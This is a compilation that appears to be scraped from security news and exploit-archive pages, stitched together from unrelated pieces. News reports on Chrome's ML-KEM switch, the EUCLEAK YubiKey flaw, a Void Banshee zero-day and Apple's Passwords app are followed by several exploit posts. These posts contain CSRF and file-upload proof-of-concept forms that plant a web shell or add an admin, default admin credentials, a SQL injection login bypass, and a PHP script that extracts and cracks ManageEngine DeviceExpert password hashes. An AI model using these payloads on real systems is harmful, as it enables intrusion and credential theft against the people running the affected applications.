Google has announced that it will be switching from KYBER to ML-KEM in its Chrome web browser as part of its ongoing efforts to defend against the risk posed by cryptographically relevant quantum computers (CRQCs).
"Chrome will offer a key share prediction for hybrid ML-KEM (codepoint 0x11EC)," David Adrian, David Benjamin, Bob Beck, and Devon O'Brien of the Chrome Team said. "The

Google has announced that it will be switching from KYBER to ML-KEM in its Chrome web browser as part of its ongoing efforts to defend against the risk posed by cryptographically relevant quantum computers (CRQCs).

"Chrome will offer a key share prediction for hybrid ML-KEM (codepoint 0x11EC)," David Adrian, David Benjamin, Bob Beck, and Devon O'Brien of the Chrome Team said. "The PostQuantumKeyAgreementEnabled flag and enterprise policy will apply to both Kyber and ML-KEM."

The changes are expected to take effect in Chrome version 131, which is on track for release in early November 2024. Google noted that the two hybrid post-quantum key exchange approaches are essentially incompatible with each other, prompting it to abandon KYBER.

"The changes to the final version of ML-KEM make it incompatible with the previously deployed version of Kyber," the company said. "As a result, the codepoint in TLS for hybrid post-quantum key exchange is changing from 0x6399 for Kyber768+X25519, to 0x11EC for ML-KEM768+X25519."

The development comes shortly after the U.S. National Institute of Standards and Technology (NIST) published the final versions of the three new encryption algorithms — to secure current systems against future attacks using quantum technologies, marking the culmination of an eight-year effort from the agency.

The algorithms in question are FIPS 203 (aka ML-KEM), FIPS 204 (aka CRYSTALS-Dilithium or ML-DSA), and FIPS 205 (aka Sphincs+ or SLH-DSA) are meant for general encryption and protecting digital signatures. A fourth algorithm, FN-DSA (originally called FALCON), is slated for finalization later this year.

ML-KEM, short for Module-Lattice-based Key-Encapsulation Mechanism, is derived from the round-three version of the CRYSTALS-KYBER KEM and can be used to establish a shared secret key between two parties communicating over a public channel.

Microsoft, for its part, is also readying for a post-quantum world by announcing an update to its SymCrypt cryptographic library with support for ML-KEM and eXtended Merkle Signature Scheme (XMSS).

"Adding post-quantum algorithm support to the underlying crypto engine is the first step towards a quantum safe world," the Windows maker said, stating the transition to post-quantum cryptography (PQC) is a "complex, multi-year and iterative process" that requires careful planning.

The disclosure also follows the discovery of a cryptographic flaw in the Infineon SLE78, Optiga Trust M, and Optiga TPM security microcontrollers that could allow for the extraction of Elliptic Curve Digital Signature Algorithm (ECDSA) private keys from YubiKey hardware authentication devices.

The cryptographic flaw within the Infineon-supplied library is believed to have remained unnoticed for 14 years and about 80 highest-level Common Criteria certification evaluations.

The side-channel attack, dubbed **EUCLEAK** (CVE-2024-45678, CVSS score: 4.9) by NinjaLab's Thomas Roche, affects all Infineon security microcontrollers embedding the cryptographic library and the following YubiKey devices -

*   YubiKey 5 Series versions prior to 5.7
*   YubiKey 5 FIPS Series prior to 5.7
*   YubiKey 5 CSPN Series prior to 5.7
*   YubiKey Bio Series versions prior to 5.7.2
*   Security Key Series all versions prior to 5.7
*   YubiHSM 2 versions prior to 2.4.0
*   YubiHSM 2 FIPS versions prior to 2.4.0

"The attacker would need physical possession of the YubiKey, Security Key, or YubiHSM, knowledge of the accounts they want to target, and specialized equipment to perform the necessary attack," Yubico, the company behind YubiKey, said in a coordinated advisory.

"Depending on the use case, the attacker may also require additional knowledge including username, PIN, account password, or \[YubiHSM\] authentication key."

But because existing YubiKey devices with vulnerable firmware versions can't be updated – an intentional design choice meant to maximize security and avoid introducing new vulnerabilities – they are permanently susceptible to EUCLEAK.

The company has since announced plans to deprecate support for Infineon's cryptographic library in favor of its own cryptographic library as part of firmware versions YubiKey f5.7 and YubiHSM 2.4.

A similar side-channel attack against Google Titan security keys was demonstrated by Roche and Victor Lomne in 2021, potentially allowing malicious actors to clone the devices by exploiting an electromagnetic side-channel in the chip embedded in them.

"The \[EUCLEAK\] attack requires physical access to the secure element (few local electromagnetic side-channel acquisitions, i.e. few minutes, are enough) in order to extract the ECDSA secret key," Roche said. "In the case of the FIDO protocol, this allows to create a clone of the FIDO device."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Google Chrome Switches to ML-KEM for Post-Quantum Cryptography Defense

Attackers have been using the Windows MSHTML Platform spoofing vulnerability in conjunction with another zero-day flaw.

Source: Anucha Cheechang via Shutterstock

Microsoft has recategorized a bug that the company fixed in this month's Patch Tuesday update as a zero-day vulnerability, which the "Void Banshee" advanced persistent threat group has been exploiting since before July.

The bug, identified as CVE-2024-43461, is a remotely exploitable platform-spoofing vulnerability in the legacy MSHTML (Trident) browser engine that Microsoft continues to include in Windows for backward compatibility purposes, and it's one of two very similar issues that Void Banshee is using in its attacks.

**Affects All Supported Windows Versions**

The vulnerability affects all supported versions of Windows and gives remote attackers a way to execute arbitrary code on affected systems. An attacker, however, would need to convince a potential victim to visit a malicious Web page or to click on an unsafe link for any exploit to work.

Microsoft assigned the flaw a severity rating of 8.8 on the 10-point CVSS scale when it initially disclosed the bug on Sept. 10. At that time, the company's advisory made no mention of the vulnerability being a zero-day bug. Microsoft revised that assessment on Sept. 13 to indicate attackers had, in fact, actively been exploiting the flaw "as part of an attack chain \[related\] to CVE-2024-38112," a MSHTML platform spoofing vulnerability that the company patched in July 2024.

"We released a fix for CVE-2024-38112 in our July 2024 security updates which broke this attack chain," Microsoft said in its updated advisory.

The company wants customers to apply its patches from both the July 2024 update and the September 2024 update to fully protect themselves against exploits targeting CVE-2024-43461. Following Microsoft's Sept. 13 update, the US Cybersecurity and Infrastructure Security Agency (CISA) on Sept. 16 added the flaw to its known exploited vulnerabilities database with a deadline of Oct. 7 for federal agencies to implement the vendor's mitigations for it.

CVE-2024-43461 is similar to CVE-2024-38112 in that it allows an attacker to cause a user-interface — in this case, the browser — to display erroneous data. Check Point Research, which Microsoft has credited with discovering CVE-2024-38112, has described the flaw as allowing an adversary to send a crafted URL or Internet shortcut file that when clicked would trigger Internet Explorer — even when disabled — to open a malicious URL. Check Point said it had observed threat actors also use a separate novel trick for dressing up malicious HTML application (HTA) files as innocuous-looking PDF documents when exploiting the flaw.

Trend Micro's Zero Day Initiative (ZDI), which has also claimed credit for discovering CVE-2024-38112 — and has a beef with Microsoft for not acknowledging them — later reported Void Banshee as exploiting the vulnerability to drop the Atlantida malware on Windows systems. In the attacks that Trend Micro observed, the threat actor lured victims using malicious files spoofed as book PDFs that they distributed via Discord servers, file-sharing websites and other vectors. Void Banshee is a financially motivated threat actor that researchers have observed targeting organizations in North America, Southeast Asia, and Europe.

**A Two-Bug Microsoft Attack Chain**

According to Microsoft's updated advisory, it turns out that attackers have been using CVE-2024-43461 as part of an attack chain also involving CVE-2024-38112. Researchers at Qualys previously noted that exploits against CVE-2024-38112 would work equally well for CVE-2024-43416, because both are near-identical flaws.

Peter Girnus, senior threat researcher at ZDI who Microsoft has credited for CVE-2024-43461, says the attackers used CVE-2024-38112 to navigate to an HTML landing page through Internet Explorer using the MHTML protocol handler inside of a .URL file. "This landing page contains an <iframe> which downloads an HTA file where the HTA extension is spoofed using CVE-2024-43461" to make the file appear to be a PDF to the victim, he says.

Girnus says ZDI was aware that the attackers were exploiting CVE-2024-43461 but assumed the patch for CVE-2024-38112 fixed the issue. "We however reversed this patch to realize that the spoofing vulnerability was not fixed. We promptly alerted Microsoft," he says.

In its July report on Void Banshee exploiting CVE-2024-38112, Trend Micro said the flaw is a prime example of how organizations can get tripped up by "unsupported Windows relics" such as MSHTML, and end up having attackers drop ransomware, backdoors, and other malware on their systems. The attack surface is significant, too: A study that Sevco conducted of 500,000 Windows 10 and Windows 11 systems in the immediate aftermath of Microsoft's disclosure of CVE-2024-38112 showed that more than 10% are missing any kind of endpoint protection control and nearly 9% are missing controls for patch management, leaving them completely blind to threats.

“Environmental vulnerabilities such as missing endpoint security or patch management controls on devices combined with CVE vulnerabilities compound the risk that companies will leave paths to data exposed and allow malicious actors to exploit vulnerabilities like \[CVE-2024-43461\]," says Greg Fitzgerald, co-founder of Sevco. "It's critical for enterprises to take the first step of patching this vulnerability, but it can't stop there."

**About the Author**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

'Void Banshee' Exploits Second Microsoft Zero-Day

Apple is launching its first stand-alone password manager app in iOS 18. Here’s what you need to know.

Apple’s latest iPhone software update, iOS 18, arrives today and includes a new app: Passwords. For the first time, Apple is taking your phone’s ability to save login details and putting them in a standalone app. It could help improve millions of people’s terrible passwords.

After years of being told you should create unique, strong passwords for every website and app you use, you probably fall into one of two camps: people that are fully signed up to the password manager life, or those still using “123456” for every other website.

Apple’s new encrypted Passwords app is automatically included with iOS 18, and is a public-facing evolution of its Keychain and password-saving capabilities. The Keychain, which has existed for more than a decade, no longer has as prominent a home in the iPhone’s settings, and details previously saved there are being moved to the new app.

The launch of the password manager app, which will also be available on macOS Sequoia and iPadOS 18, may help improve people’s relationships with their passwords but also could, to varying degrees, challenge existing password managers.

“This move makes the app more visible to lay users and informs them about this secure method to store and manage passwords,” says Talal Haj Bakry and Tommy Mysk from security company Mysk. “You have a default password manager preinstalled on your device \[that\] provides end-to-end encryption when syncing data across devices.”

**New Passwords**

The Passwords app has a pretty barebones design. Six different tiles are presented when you open the app on an iPhone: All, Passkeys, Codes, Wi-Fi, Security, and Deleted. These are essentially the main functions of the app, allowing you to save each type of data within their relevant sections. The security section includes check-ups allowing weak and exposed passwords to be identified.

“This will definitely boost the adoption of this preinstalled app and bolster user security,” Bakry and Mysk say. They add that it presents the saved data “in a more organized way than the Settings app.”

Apple says the Passwords app uses end-to-end encryption to save your details, meaning nobody, not even Apple, knows what you have saved. Within the app, you can search for login details to your entries and set up groups to share passwords with other people.

Your saved login details are synced across Apple devices using iCloud, meaning the encrypted data is shared with Apple’s cloud servers and available on all of your Apple devices. Within Apple’s settings, you can turn off syncing passwords on a specific device. The app is locked using Face ID.

When using the Passwords app, any details you have previously saved in Keychain or AutoFill will be moved to the new location. This includes if you have used the Sign in with Apple login system on any websites or apps. It is unclear why Apple has decided to spin its Keychain system into a fully fledged password manager now, although the company has been building out the individual features over a number of years. (Apple has not responded to WIRED’s request for comment at the time of writing.)

For many people, having a standalone password manager app from Apple could encourage better password practices. Siamak Shahandashti, a senior lecturer in the University of York’s cybersecurity and privacy research group, says the move from Apple may be a usability decision. Making Passwords visible could encourage people to take their passwords seriously.

“We need to design authentication systems for human beings,” Shahandashti says. “We cannot expect users to maintain a hundred accounts, for each of them \[to\] use a strong password. It’s actually the fault of the designers because these systems have not been designed for users considering the capability of an average human being.”

**Death of the Password**

Passwords are slowly dying. Enter the passkey. For the past couple of years, websites, apps, and phone manufacturers have been in the process of rolling out passkeys—a technology that replaces passwords, is more secure, and doesn’t require you to remember any complex login details. (Although passkeys still have some teething problems.)

Leona Lassak, a research assistant at Ruhr-University Bochum who has studied passkey adoption, says greater “visibility” of the Passwords app can help get the sign-in technology to a broader audience, one which might not use a password manager otherwise. Apple’s Passwords app could help with the perception and transition to passkeys, Lassak says. “There has been discussion about the need for passkey managers, because once we actually use them on websites, there's probably going to be multiple for each website,” she says.

The app is also, at least subtly, encouraging the adoption of passkeys. Within Passwords’ settings, accessed through Apple’s System preferences, there’s the option to turn on “automatic” passkey upgrades, which will allow existing accounts to use passkeys when they are available.

**Lock In**

Password managers have existed for years and there are plenty of options you can use, from open source apps to browser-based management systems. Each comes with their own particular set of pros and cons.

Apple wading into the password management market by including a new app on millions of iPhones, Macs, and iPads could also impact the wider ecosystem. “There’s no question that Apple’s Passwords app would ‘sherlock’ third-party password managers—or make them less attractive,” say Bakry and Mysk, highlighting that people need to use iCloud to sync passwords in Apple’s system, and that those who are privacy conscious may not want this to happen automatically.

There’s also the risk of locking people into Apple’s password manager—at launch, there appear to be no options to export the saved data and use it in a commercial alternative. One competitor password manager has stressed that their software works on products “beyond” the “Apple ecosystem.” (People using Apple’s password management software on Windows devices can access saved details through iCloud for Windows.)

Ultimately, what password manager you use should reflect what type of software you want to support and the individual threats you may face. For many, Apple’s new app is probably better than not using a password manager at all.

Apple’s New Passwords App May Solve Your Login Nightmares

Reservation Management System version 1.0 suffers from a cross site request forgery vulnerability.

=============================================================================================================================================  
| # Title     : Reservation Management System 1.0 CSRF Vulnerability                                                                        |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            |  
| # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/reservation.zip                                       |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following html code uploads a executable malicious file remotely .

  [+] Line 8 : Set your target url

[+] save payload as poc.html 

[+] payload : 

<div class="modal-content">  
            <div class="modal-header">  
              <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>  
              <h4 class="modal-title">Add New Menu</h4>  
            </div>  
            <div class="modal-body">  
                
              <form class="form-horizontal" method="post" action="http://127.0.0.1/reservation/admin/menu_save.php" enctype="multipart/form-data">  
                    
                  <div class="form-group">  
                      <label class="control-label col-lg-2" for="title">Menu Name</label>  
                      <div class="col-lg-8">   
                        <input type="text" class="form-control" name="menu" id="title" placeholder="Menu Name" required="">  
                      </div>  
                  </div>   
                    
                  <div class="form-group">  
                      <label class="control-label col-lg-2" for="title">Category</label>  
                      <div class="col-lg-8">   
                        <select class="form-control select2" id="exampleSelect1" name="cat" required="">  
                                                         <option value="9">Dessert</option>  
                                                        <option value="6">Main Course</option>  
                                                        <option value="7">Pasta</option>  
                                                        <option value="10">Rice</option>  
                                                </select>  
                      </div>  
                  </div>   
                    
                  <div class="form-group">  
                      <label class="control-label col-lg-2" for="title">Subcategory</label>  
                      <div class="col-lg-8">   
                        <select class="form-control select2" id="exampleSelect1" name="subcat">  
                                                         <option>Drinks</option>  
                                                        <option>Lunch and Dinner</option>  
                                                        <option>Mirienda</option>  
                                                        <option>Non Combo Meal</option>  
                                                </select>  
                      </div>  
                  </div>   
                    
                  <div class="form-group">  
                      <label class="control-label col-lg-2" for="title">Description</label>  
                      <div class="col-lg-8">   
                        <textarea class="form-control" name="desc" id="title" placeholder="Description" required=""></textarea>  
                      </div>  
                  </div>   
                    
                  <div class="form-group">  
                      <label class="control-label col-lg-2" for="title">Price</label>  
                      <div class="col-lg-8">   
                        <input type="text" class="form-control" name="price" id="title" placeholder="Price" required="">  
                      </div>  
                  </div>   
                    
                  <div class="form-group">  
                      <label class="control-label col-lg-2" for="title">Image</label>  
                      <div class="col-lg-8">   
                        <input type="file" class="form-control" name="image" id="title">  
                      </div>  
                  </div> 

                    
                  <div class="form-group">  
                        
                      <div class="col-lg-offset-2 col-lg-6">  
                        <button type="submit" class="btn btn-sm btn-primary">Save</button>  
                        <button type="button" class="btn btn-default" data-dismiss="modal" aria-hidden="true">Close</button>  
                       </div>  
                  </div>  
              </form>  
                
            </div>

                    </div>

    [+] Ev!L : http://127.0.0.1/reservation/images/shopping.php

-----------[+] Part 02 Add Admin [+]-------------------

[+] Line 8 : Set your target url

[+] save payload as poc.html 

[+] payload : 

<div class="modal-content">  
            <div class="modal-header">  
              <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>  
              <h4 class="modal-title">Add New User</h4>  
            </div>  
            <div class="modal-body">  
                
              <form class="form-horizontal" method="post" action="http://127.0.0.1/reservation/admin/user_save.php">  
                    
                  <div class="form-group">  
                      <label class="control-label col-lg-2" for="title">Full Name</label>  
                      <div class="col-lg-8">   
                        <input type="text" class="form-control" name="name" id="title" placeholder="Write Full Name of User" required="">  
                      </div>  
                  </div>   
                    
                  <div class="form-group">  
                      <label class="control-label col-lg-2" for="username">Username</label>  
                      <div class="col-lg-8">   
                        <input type="text" class="form-control" name="username" value="chimney_admin" placeholder="Write Username" required="">  
                      </div>  
                  </div>   
                    
                  <div class="form-group">  
                      <label class="control-label col-lg-2" for="password">Password</label>  
                      <div class="col-lg-8">   
                        <input type="password" class="form-control" name="password" id="password" placeholder="Write password" required="">  
                      </div>  
                  </div> 

                                                                        
                  <div class="form-group">  
                        
                      <div class="col-lg-offset-2 col-lg-6">  
                        <button type="submit" class="btn btn-sm btn-primary">Save</button>  
                        <button type="button" class="btn btn-default" data-dismiss="modal" aria-hidden="true">Close</button>  
                       </div>  
                  </div>  
              </form>  
                
            </div>

                    </div>  
Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Reservation Management System 1.0 Cross Site Request Forgery

Online Job Recruitment Portal Project version 1.0 suffers from an arbitrary file upload vulnerability.

=============================================================================================================================================  
| # Title     : Online Job Recruitment Portal project v1.0 Remote File Upload Vulnerability                                                 |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            |  
| # Vendor    : https://www.kashipara.com/project/php/12866/online-job-recruitment-portal-php-project-source-code                           |  
=============================================================================================================================================

POC :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following html code uploads a executable malicious file remotely .

[+] Go to the line 10.

[+] Set the target site link Save changes and apply . 

[+] infected file : rec_detail.php.

[+] save code as poc.html .

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>Recruitment Form</title>  
</head>  
<body>  
    <h1>Recruitment Form</h1>  
    <form action="http://127.0.0.1/Recruitment-Portal-master/rec_detail.php" method="POST" enctype="multipart/form-data">  
          
        <label for="photograph">Photograph:</label>  
        <input type="file" id="photograph" name="photograph" required><br><br>

          
        <label for="placeofbirth">Place of Birth:</label>  
        <input type="text" id="placeofbirth" name="placeofbirth" required><br><br>

          
        <label for="fhname">Father's/Husband's Name:</label>  
        <input type="text" id="fhname" name="fhname" required><br><br>

          
        <label for="marital_status">Marital Status:</label>  
        <select id="marital_status" name="marital_status">  
            <option value="single">Single</option>  
            <option value="married">Married</option>  
            <option value="divorced">Divorced</option>  
        </select><br><br>

          
        <label for="Nationality">Nationality:</label>  
        <select id="Nationality" name="Nationality">  
            <option value="national1">Nationality 1</option>  
            <option value="national2">Nationality 2</option>  
        </select><br><br>

          
        <label for="handicapped">Handicapped:</label>  
        <select id="handicapped" name="handicapped">  
            <option value="yes">Yes</option>  
            <option value="no">No</option>  
        </select><br><br>

          
        <label for="religion">Religion:</label>  
        <select id="religion" name="religion">  
            <option value="religion1">Religion 1</option>  
            <option value="religion2">Religion 2</option>  
        </select><br><br>

          
        <label for="blood">Blood Group:</label>  
        <select id="blood" name="blood">  
            <option value="A+">A+</option>  
            <option value="B+">B+</option>  
            <option value="AB+">AB+</option>  
            <option value="O+">O+</option>  
            <option value="O-">O-</option>  
        </select><br><br>

          
        <label for="mark">Identification Mark:</label>  
        <input type="text" id="mark" name="mark" required><br><br>

          
        <input type="submit" value="Submit">  
    </form>  
</body>  
</html>

[+] http://127.0.0.1/Recruitment-Portal-master/images/.php

Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Online Job Recruitment Portal Project 1.0 Arbitrary File Upload

IFSC Code Finder Portal version 1.0 suffers from an ignored default credential vulnerability.

**IFSC Code Finder Portal 1.0 Insecure Settings**

Posted Sep 16, 2024

Authored by indoushka

IFSC Code Finder Portal version 1.0 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | 4c8714f261d6bcdc7f5ee89b4f1473342ced816a03f174b9a8bc607a329616e0

Download | Favorite | View

**IFSC Code Finder Portal 1.0 Insecure Settings**

    =============================================================================================================================================| # Title     : IFSC Code Finder Portal v1.0 Insecure Settings Vulnerability                                                                || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://phpgurukul.com/ifsc-code-finder-project-using-php/                                                                  |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = Test@123[+] http://127.0.0.1/ifscfinder/admin/login.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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IFSC Code Finder Portal 1.0 Insecure Settings

GYM Management System version 1.0 suffers from an ignored default credential vulnerability.

**GYM Management System 1.0 Insecure Settings**

Posted Sep 16, 2024

Authored by indoushka

GYM Management System version 1.0 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | 5ee11f413d4f6dbbb71c2d782424145f8284d96790518d7c0e3923c5bd409844

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**GYM Management System 1.0 Insecure Settings**

    ====================================================================================================================================| # Title     : GYM Management System 1.0 Insecure Settings Vulnerability                                                          || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://phpgurukul.com/gym-management-system-using-php-and-mysql/                                                  |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload :     Username: admin@gmail.com      Password: Test@123[+] http://127.0.0.1/agms/admin/dashboard.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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GYM Management System 1.0 Insecure Settings

Emergency Ambulance Hiring Portal version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    ====================================================================================================================================| # Title     : Emergency Ambulance Hiring Portal 1.0 Auth By Pass Vulnerability                                                   || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://phpgurukul.com/emergency-ambulance-hiring-portal-using-php-and-mysql/                                      |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : USer & PASs : ' or 0=0 ##[+] http://127.0.0.1/eahp/admin/dashboard.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

Emergency Ambulance Hiring Portal 1.0 SQL Injection

ManageEngine DeviceExpert version 5.9.7 build 5970 allows for usernames and salted MD5 password hashes to be disclosed.

    ====================================================================================================================================| # Title     : DeviceExpert v 5.9.7 build 5970 PHP extracts Credentials Vulnerability                                             || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://manageengine.com/                                                                                          |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This PHP COde extracts usernames and salted MD5 password hashes from ManageEngine DeviceExpert version 5.9 build 5980 and prior.[+] LIne 87 set your targer .    [+] usage : C:\www\test>php 3.php[+] Payload :<?phpclass ManageEngineDeviceExpert {    private $host;    private $port;    private $ssl;    public function __construct($host, $port = 6060, $ssl = true) {        $this->host = $host;        $this->port = $port;        $this->ssl = $ssl;    }    private function sendRequest($path) {        $url = ($this->ssl ? 'https://' : 'http://') . $this->host . ':' . $this->port . $path;        $ch = curl_init($url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        $response = curl_exec($ch);        curl_close($ch);        return $response;    }    public function getUsers() {        echo "Reading users from master...\n";        $response = $this->sendRequest('/ReadUsersFromMasterServlet');        if (!$response) {            echo "Connection failed\n";            return null;        }        if (strpos($response, '<discoverydata>') !== false) {            preg_match_all('/<discoverydata>(.*?)<\/discoverydata>/', $response, $matches);            echo "Found " . count($matches[0]) . " users\n";            return $matches[0];        } else {            echo "Could not find any users\n";            return null;        }    }    public function parseUserData($user) {        if (!$user) return null;        preg_match('/<username>([^<]+)<\/username>/', $user, $username);        preg_match('/<password>([^<]+)<\/password>/', $user, $encoded_hash);        preg_match('/<userrole>([^<]+)<\/userrole>/', $user, $role);        preg_match('/<emailid>([^<]+)<\/emailid>/', $user, $email);        preg_match('/<saltvalue>([^<]+)<\/saltvalue>/', $user, $salt);        $hash = base64_decode($encoded_hash[1]);        $password = null;        $weak_passwords = ['12345', 'admin', 'password', $username[1]];        foreach ($weak_passwords as $weak_password) {            if (md5($weak_password . $salt[1]) == bin2hex($hash)) {                $password = $weak_password;                break;            }        }        return [            'username' => $username[1],            'password' => $password,            'hash' => bin2hex($hash),            'role' => $role[1],            'email' => $email[1],            'salt' => $salt[1]        ];    }    public function run() {        $users = $this->getUsers();        if (!$users) return;        foreach ($users as $user) {            $user_data = $this->parseUserData($user);            if (!$user_data) continue;            echo "User: " . $user_data['username'] . "\n";            echo "Password: " . ($user_data['password'] ? $user_data['password'] : 'Not found') . "\n";            echo "Hash: " . $user_data['hash'] . "\n";            echo "Role: " . $user_data['role'] . "\n";            echo "Email: " . $user_data['email'] . "\n";            echo "Salt: " . $user_data['salt'] . "\n";            echo "----------------------------\n";        }    }}// استخدام الكلاس$deviceExpert = new ManageEngineDeviceExpert('127.0.0.1');$deviceExpert->run();?>Greetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

ManageEngine DeviceExpert 5.9.7 Build 5970 Hash Disclosure

COVID19 Testing Management System version 1.0 suffers from an ignored default credential vulnerability.

    ====================================================================================================================================| # Title     : COVID19 - Testing Management System 1.0 Insecure Settings Vulnerability                                            || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/                                      |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload :     Username: admin      Password: Test@123[+] http://127.0.0.1/covid-tms/admin/dashboard.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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